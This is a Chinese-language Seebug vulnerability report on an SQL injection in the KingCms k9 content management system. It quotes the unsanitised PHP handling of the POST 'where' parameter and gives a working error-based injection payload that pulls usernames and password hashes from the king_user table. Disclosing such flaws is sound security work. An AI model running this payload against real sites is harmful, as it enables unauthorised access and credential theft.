KingCms最新版(k9)注入1枚

2015-03-13T00:00:00
ID SSV:94893
Type seebug
Reporter Root
Modified 2015-03-13T00:00:00

Description

简要描述:

KingCms最新版(k9)注入1枚

详细说明:

朋友的公司想购买kingcms的授权,让我帮忙看下。发现kingcms很长一段时间没更新了,憋了一段时间放出了最新版的k9(2014-12-13更新),官网下下来学习一下。 在wooyun上看到了几个漏洞,如: WooYun: kingcms最新版sql注入漏洞 注入点:POST /apps/fuwu/index.php HTTP/1.1 注入参数:where 问题文件在apps/fuwu/index.php

``` function _create(){ $u=new user;$u->auth_role('fuwu'); $db=new db; $where=kc_get('where',0,1); $pid=kc_get('pid',2,1); $rn=kc_get('rn',2,1); $limit=($rn($pid-1)).','.$rn.';'; $cmd=kc_get('cmd',array('categroy','content')); $pcount=kc_get('pcount',2,1); $start=$rn$pid>$pcount?$pcount:$rn*$pid;

$file=new file;
/*
if($cmd=='content'){
    $res=$db->getRows('%s_fuwu','*',$where,'',$limit);
    foreach($res as $rs){
        $rs['TEMPLATE']='fuwu/content/default.php';
        $file->create($rs['url'],$rs,'apps/fuwu/_content.php');
    }
}else{
 */
    $res=$db->getRows('%s_fuwu_categroy','*',$where,'',$limit);
    foreach($res as $rs){
        $rs['TEMPLATE']='fuwu/categroy/'.$rs['template'];
        $file->create($rs['url'],$rs);//,'apps/fuwu/_categroy.php'
    }
//}

$js="\$.kc_progress('#progress_{$cmd}',{$start},{$pcount});";
$js.=$start==$pcount ? "\$('.Submit').removeAttr('disabled');":"\$.kc_ajax({URL:'".FULLURL."apps/fuwu/index.php',CMD:'create',cmd:'$cmd',where:'$where',pid:".($pid+1).",rn:{$rn},pcount:{$pcount}});";
kc_ajax(array('JS'=>$js));

} ```

$_POST['where']没有经过处理就进入了$db->getRows,去看看$db->getRows

public function getRows($table,$insql='*',$where=null,$order=null,$limit=null,$group=null) { $table=str_replace('%s',DB_PRE,$table); $sql="SELECT $insql FROM $table "; $sql.= empty($where) ? '' : " WHERE $where"; $sql.= empty($group) ? '' : " GROUP BY $group"; $sql.= empty($order) ? '' : " ORDER BY $order"; $sql.= empty($limit) ? '' : " LIMIT $limit"; return $this->get($sql); }

在执行sql语句之前,也没有过滤,这里就造成了注入。 Kingcms可以报错,因此 Payload:

jsoncallback=1&_=11&URL=http%3A%2F%2Flocalhost%2Fapps%2Fcontent%2Fcategroy.php&CMD=create&TID=1&AJAX=1&USERID=10000&SIGN=89ee81f5f1f328f555ceb7e7655d9f2f&pid=1&rn=2&cmd=content&pcount=1&where=0 UNION SELECT 1 FROM(SELECT COUNT(*),CONCAT(0x23,(SELECT concat(username,0x23,userpass)FROM king_user LIMIT 0,1),0x23,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.tables GROUP BY x)a%23

注入成功,见下图

<img src="https://images.seebug.org/upload/201503/13010351c67283e7191f3d69d3f7769e95f5e09f.jpg" alt="成功副本.jpg" width="600" onerror="javascript:errimg(this);">

漏洞证明:

见 详细说明